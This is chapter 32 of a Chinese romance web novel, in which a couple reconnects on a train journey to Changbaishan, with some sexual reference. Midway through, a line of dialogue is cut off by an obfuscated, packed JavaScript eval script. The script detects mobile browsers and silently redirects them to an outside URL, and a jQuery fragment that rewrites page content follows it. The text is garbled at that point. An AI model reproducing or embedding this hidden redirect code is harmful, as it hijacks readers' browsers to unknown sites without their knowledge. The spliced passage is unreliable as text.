32. 第 32 章

作品:《和他离婚后

    还有最后一站去长白山。


    买了到直达的高铁票,大概四个小时,午饭是高铁站旁边的一家饺子店,苏愉吃了十二个饺子,吃得肚子都圆滚滚的。


    贺玺食量比她大,吃了二十多个。


    这边饺子就是一整盘,堆得满满地像座山,不像他们那,饺子都是一人一盘的吃。


    上车之后,苏愉在翻看手机里的照片。


    也住了十几天,对这里都有感情了,突然离开是有点舍不得,她想以后有机会肯定会再来的。


    她零零散散照片也拍了不少,最后几张是出门的时候她拍的贺玺给她堆的那个雪人。


    苏愉遗憾她忘记和雪人合照了。


    贺玺那个雪人圆滚滚的,像个白白胖胖的年画娃娃,那么可爱的东西一点都不像出自贺玺手笔,可偏偏还很精致,苏愉没问都知道贺玺肯定堆了很久。


    有点可惜,不能多看一段时间。


    连拍照都是急急忙忙的,只拍了几个远景,没有细节照更没有合照。


    今天雪已经停了,整个城市被积雪覆盖,一路过来甚至能听到“嘎吱嘎吱”的声响,奏成了一段美妙的交响乐,这样的漫天白雪的景观才是她想象中的哈尔滨。


    贺玺给苏愉带了腰枕,垫到她座位上,他出门时特地从行李箱拿出来了。


    一想就知道,坐这么久,苏愉肯定会喊腰疼。


    苏愉坐下,拿起手边保温杯,这里面装了小吊梨汤,是出门前贺玺特地煮的,带给她高铁上喝。


    照顾一下喉咙,喝点小甜水。


    她低头,看到贺玺手上又戴上了戒指。


    不知道什么时候戴上的,有点像独属于他一个人的仪式感。


    苏愉下意识伸出自己五根手指看。


    她手上空荡荡的,什么也没有。


    当时买戒指的时候苏愉并没有用心看,那时外婆病重,她哪里有心情看这些,去的第一家店店员推荐给她,试了一下合适就买下了。


    其实也不是很贵。


    当时贺玺付的钱,苏愉不太好意思花太多他的钱,回来之后还坚持和他AA,把一半的钱还给了他。


    苏愉也不爱常戴。


    有一回她不小心丢了,发现的时候都过去了两三天,她也不敢和贺玺说,只能自己偷偷去找,没找着,一个人挫败地在书房和金金打电话寻求帮助。


    说来也巧,当天晚上她就在电脑边找到了。


    明明记得到处都找过了,突然出现在电脑边上,苏愉自己都费解。


    这事苏愉到现在还记得,就是因为弄丢了东西她挺慌张,没想别的,就毕竟也挺贵的。


    幸好后来找到了。


    “你的是不是比我的大。”苏愉盯着贺玺的手,没头没脑问了句。


    贺玺顿了下,下一秒,他从手上把戒指取下来,递给苏愉。


    意思是让她试试。


    苏愉是真的好奇,她拿过戒指,戴在自己的无名指上。


    大了半圈。


    对比一下她和贺玺的手指围度就知道了,贺玺一只手能把她两只手都罩住,他的手掌和他的身量一样惊人。


    苏愉反应过来:“你戴是不是小了?”


    他每次取下来,手上总留下一道浅浅的印子。


    苏愉取下来却不会。


    贺玺握了握手指:“是小了。”


    苏愉去握住他的手,她突然有点难过:“因为我说喜欢这一款,你不合适也买吗?”


    还一直都戴着。


    这款没办法调整尺寸,但偏偏女款的款式是苏愉最喜欢的,那会儿贺玺试了说可以,于是就顺理成章定下来了。


    “回去后重新买吧。”贺玺看出她的愧疚,他反握住她的手,低声跟她说。


    这没关系,他也不想看她为此难过。


    眼睛都已经那么肿了。


    贺玺看着她的眼睛,想着还是落了一件事,应该从冰箱冻瓶水拿出来给她冰敷的,不然眼睛都要肿得像一座小山那么高了。


    苏愉点点头,当然要重新买。


    “我来买。”苏愉抢着说。


    贺玺赚钱不容易,虽然这两年还可以,可相比起她还是辛苦很多,她只要坐在电脑前干活就是了,贺玺不一样的,他还要付出体力劳动。


    贺玺握了握紧她的手,沉声说:“苏愉,我没你想的那么困难。”


    苏愉愣了下,马上解释说:“我不是那个意思,我——”


    贺玺说:“我知道。”


    他们结婚两年,钱方面一直是各花各的,家里有时候缺什么了,谁买就买了——不过大多数都是贺玺买的。


    苏愉这个大大咧咧的,日常能活着就行,哪里管家里缺什么了。


    维护一个家需要的成本和心力并不少,除开有些硬装需要修修补补,还有很多小问题,像电器修理,水电煤安全维护,小的到垃圾清理,日常品购买……


    这些贺玺一手包办。


    他从来不会提自己做了什么,对贺玺来说,做的永远比说的要多。


    “你只管你喜欢就行。”贺玺捏了捏她的手指,沉声说,“我赚钱就是给你花的。”


    他自己生活成本多低,吃的用的从来都不讲究,后来拼了命的赚钱,能多赚一点就多赚一点,就是想别人有的他们这个家应该也要有,哪怕苏愉不把他当成她的后盾,他也得在后面给她托底。


    让苏愉好过一点,再好过一点。


    苏愉听着笑了下,觉得这样的话还怪好听的,她嘴角忍不住地弯起来:“哦,知道了。”


    过了会儿苏愉又往贺玺身边挪了挪,大腿贴着他的大腿,高铁开进隧道,周围一下变黑,苏愉脸颊进到他气息笼罩的范围,深吸了一口气,说:“你以后多说点好听的话。”


    黑暗让话里的语气变得更加明显,苏愉轻言细语,像一汪清泉。


    “我喜欢听。”


    贺玺也没说什么,就那么一句,她已经把这归于好听的话了,他这样的不善言辞对苏愉来说是一种委屈,贺玺这样想,于是心脏紧了紧,低头靠近苏愉耳边。


    “我也是你的。”


    苏愉心脏就开始乱跑,黑暗里耳膜带来了刺激感,五官都被打翻的汽水浸泡,咕噜咕噜往外冒泡泡,从上到下被浸得软烂。


    无师自通啊。


    苏愉靠在贺玺的肩膀上,找了个舒服的姿势:“我要睡会儿,你也睡吗?”


    贺玺往后靠了靠,低头给她挪了下身后的腰枕,再特地把自己肩膀放下来,好让她睡得更舒服。


    “我不困,你睡吧。”


    苏愉于是闭上眼睛。


    这一趟的车程是还可以,苏愉睡醒之后把保温杯里的梨汤都喝完了,然后又拿手机看了会儿综艺,她坐得有点累,忍不住动了动。


    “累了?”贺玺很快注意到她的反应,看了眼时间,“还有半个小时就到了。”


    “要不要起来走走?”贺玺手掌从她腰后托过,大手按在上面,力道放重揉了揉。


    苏愉摇了摇头:“不要了。”


    车厢里人虽然不多,后面这一块几乎没人,就他们两个坐在最后面了,但她也懒得起来走,坐久了让她站起来她都觉得好累的。


    半个小时还是能忍的。


    苏愉都不好意思说,是因为昨天晚上弄透支了。


    剩下的半小时,苏愉和贺玺聊天。


    苏愉问:“除了下雨那天你背我回家,后来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480655|168349||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我还有见过你吗?”


    贺玺点头。


    当然有。


    他的人生说起来很苦,这一点他从不否认,在那些黑暗里,唯一支撑他活下去的信念,就是这世上有苏愉。


    那时的贺玺并不明白这样的情绪对他而言意味着什么,只是他这样的人最需要有的求生欲,在这一点上贺玺看得很明白,他从努力活着到好好活着,从来都敬畏生命,也给自己找了爬出深渊的桥梁。


    正如胡医生说的,苏愉就是他的桥梁。


    “看到你我情况会好点。”贺玺盯着她的眼睛,“至少晚上能睡着觉。”


    贺玺的爱像一片汪洋大海,安静却深沉,无风的大海看上去平平无奇,可这海面下暗藏着无数的波涛汹涌,只要有一阵风吹过来,海浪拍打,一浪接着一浪永不会停。


    苏愉是这汪大海上唯一的一艘船,无论航行到哪里,大海的宽阔和温暖都会把她包裹。


    苏愉回想了下,她想不起来,脑子里能出现的都是这两年里生活的细节。


    “可一直到今年以前,我都认为我们不熟。”苏愉顿了顿,补充了一句,“除了在床上的时候。”


    贺玺怎么能藏得那么好呢?


    也可能是她根本没在意。


    不能说可能了,她完全就是没在意。


    苏愉把贺玺定义为埋头苦干类型,当然这是她心里偷偷想的,并没有告诉贺玺,她难以想象如果她说出来了贺玺会是什么反应。


    “我知道。”贺玺突然应了一声,苏愉脑袋岔路了,惊讶地反问:“这你都知道了?”


    马上反应过来不对,她闭上嘴巴。


    尴尬地笑了下。


    贺玺看到她的反应,他顿了下,眉头拧到一起:“想什么了?”


    苏愉没回答。


    她以前从不把这些话拿到明面上来说,毕竟是只做不交心的关系,做完了再坦诚相对,都觉得挺尴尬嘞。


    她突然变红的耳根已经把她的想法暴露了。


    “也不是不熟。”贺玺突然沉着脸,压低声音,一本正经的说,“你以前也经常耍赖不让我出去。”


    她舒服的时候会撒娇让他在里面多待会儿,绞出水了,他胀得快疼死,也会也沉着脸色待着不动。


    苏愉开心就好。


    她舒服了就好,那时的贺玺根本不会管自己。


    苏愉震惊地眨了眨眼睛。


    大庭广众之下她是没想到贺玺会说这样的话,他面无表情,不知道的还以为他在说什么正经的事,又想起来是她睡觉之前让他多说说好听的话。


    这叫好听的话吗?


    苏愉嘴巴微张,话到嘴边打了无数个圈,她还是结结巴巴。


    贺玺、贺玺是个闷骚怪吧!


    逗苏愉是件开心的事,连贺玺这样一向冷漠寡言的人都有趣到弯起了嘴角,他伸出手,擦了擦她嘴角留下的一点水渍。


    苏愉垂眼,视线跟着他的手指走。


    应该是喝最后一口梨汤的时候沾到嘴角了。


    苏愉主动抬了抬下巴。


    她想让他给她擦干净一点。


    这一抬,贺玺顿了下,然后俯身在她唇上亲了一下。


    苏愉猝不及防。


    她下意识抿了下嘴唇,因为刚喝过甜梨汤她嘴唇是甜的,于是想到贺玺刚刚也尝到了是甜的,苏愉心又停了半拍。


    “我不是这个意思。”苏愉还不忘解释一下。


    贺玺目光垂下,听了她解释,他也只是答应:“嗯,知道了。”


    这话的意思是,是不是这个意思都没关系,只是他想这样做。


    苏愉捂了捂脸。


    好了,不能再发展了,他已经学得太快了。